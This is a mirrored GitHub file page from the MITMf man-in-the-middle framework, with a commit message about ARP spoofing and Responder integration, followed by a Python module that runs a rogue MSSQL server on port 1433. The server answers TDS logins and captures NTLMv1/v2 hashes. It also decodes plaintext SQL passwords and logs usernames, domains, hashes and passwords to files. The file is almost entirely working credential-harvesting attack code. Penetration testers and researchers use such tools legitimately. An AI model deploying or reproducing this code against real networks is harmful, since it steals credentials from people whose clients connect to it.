mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-05 20:42:20 -07:00
9712eed4a3
I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds. - Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all. - Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code) - The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2) - An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons: 1) Impacket is moving towards SMB2 support and is actively developed 2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file) 3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out) - Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!) - Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable. - POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use) - Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out) - Some plugins are missing because I'm currently re-writing them, will be added later - Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/
128 lines
No EOL
5 KiB
Python
128 lines
No EOL
5 KiB
Python
import struct
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class MSSQLServer():
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def serve_thread_tcp(host, port, handler):
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try:
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server = ThreadingTCPServer((host, port), handler)
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server.serve_forever()
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except Exception, e:
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print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
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def start(SQL_On_Off):
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if SQL_On_Off == "ON":
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t = threading.Thread(name="MSSQL", target=self.serve_thread_tcp, args=("0.0.0.0", 1433,MSSQL))
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t.setDaemon(True)
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t.start()
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return t
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if SQL_On_Off == "OFF":
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return False
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class ThreadingTCPServer(ThreadingMixIn, TCPServer):
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allow_reuse_address = True
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def server_bind(self):
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TCPServer.server_bind(self)
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#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
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def ParseSQLHash(data,client):
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SSPIStart = data[8:]
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LMhashLen = struct.unpack('<H',data[20:22])[0]
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LMhashOffset = struct.unpack('<H',data[24:26])[0]
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LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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NthashLen = struct.unpack('<H',data[30:32])[0]
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if NthashLen == 24:
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NthashOffset = struct.unpack('<H',data[32:34])[0]
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NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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DomainLen = struct.unpack('<H',data[36:38])[0]
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DomainOffset = struct.unpack('<H',data[40:42])[0]
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Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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UserLen = struct.unpack('<H',data[44:46])[0]
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UserOffset = struct.unpack('<H',data[48:50])[0]
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User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
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outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
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WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
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responder_logger.info('[+]MsSQL NTLMv1 hash captured from :%s'%(client))
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responder_logger.info('[+]MSSQL NTLMv1 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
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responder_logger.info('[+]MSSQL NTLMv1 Domain is :%s'%(Domain))
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responder_logger.info('[+]MSSQL NTLMv1 Complete hash is: %s'%(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal))
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if NthashLen > 60:
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DomainLen = struct.unpack('<H',data[36:38])[0]
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NthashOffset = struct.unpack('<H',data[32:34])[0]
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NthashLen = struct.unpack('<H',data[30:32])[0]
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Hash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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DomainOffset = struct.unpack('<H',data[40:42])[0]
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Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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UserLen = struct.unpack('<H',data[44:46])[0]
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UserOffset = struct.unpack('<H',data[48:50])[0]
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User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
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outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
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Writehash = User+"::"+Domain+":"+NumChal+":"+Hash[:32].upper()+":"+Hash[32:].upper()
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WriteData(outfile,Writehash,User+"::"+Domain)
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responder_logger.info('[+]MsSQL NTLMv2 hash captured from :%s'%(client))
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responder_logger.info('[+]MSSQL NTLMv2 Domain is :%s'%(Domain))
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responder_logger.info('[+]MSSQL NTLMv2 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
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responder_logger.info('[+]MSSQL NTLMv2 Complete Hash is : %s'%(Writehash))
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def ParseSqlClearTxtPwd(Pwd):
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Pwd = map(ord,Pwd.replace('\xa5',''))
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Pw = []
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for x in Pwd:
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Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
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return ''.join(Pw)
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def ParseClearTextSQLPass(Data,client):
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outfile = "./logs/responder/MSSQL-PlainText-Password-"+client+".txt"
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UsernameOffset = struct.unpack('<h',Data[48:50])[0]
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PwdOffset = struct.unpack('<h',Data[52:54])[0]
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AppOffset = struct.unpack('<h',Data[56:58])[0]
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PwdLen = AppOffset-PwdOffset
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UsernameLen = PwdOffset-UsernameOffset
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PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
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UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
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WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
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responder_logger.info('[+]MSSQL PlainText Password captured from :%s'%(client))
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responder_logger.info('[+]MSSQL Username: %s Password: %s'%(UserName, PwdStr))
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def ParsePreLoginEncValue(Data):
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PacketLen = struct.unpack('>H',Data[2:4])[0]
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EncryptionValue = Data[PacketLen-7:PacketLen-6]
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if re.search("NTLMSSP",Data):
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return True
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else:
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return False
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#MS-SQL server class.
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class MSSQL(BaseRequestHandler):
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def handle(self):
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try:
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while True:
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data = self.request.recv(1024)
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self.request.settimeout(0.1)
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##Pre-Login Message
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if data[0] == "\x12":
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buffer0 = str(MSSQLPreLoginAnswer())
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self.request.send(buffer0)
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data = self.request.recv(1024)
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##NegoSSP
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if data[0] == "\x10":
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if re.search("NTLMSSP",data):
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t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
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t.calculate()
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buffer1 = str(t)
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self.request.send(buffer1)
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data = self.request.recv(1024)
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else:
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ParseClearTextSQLPass(data,self.client_address[0])
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##NegoSSP Auth
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if data[0] == "\x11":
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ParseSQLHash(data,self.client_address[0])
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except Exception:
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pass
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self.request.close()
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##################################################################################
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#SQL Stuff ends here
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################################################################################## |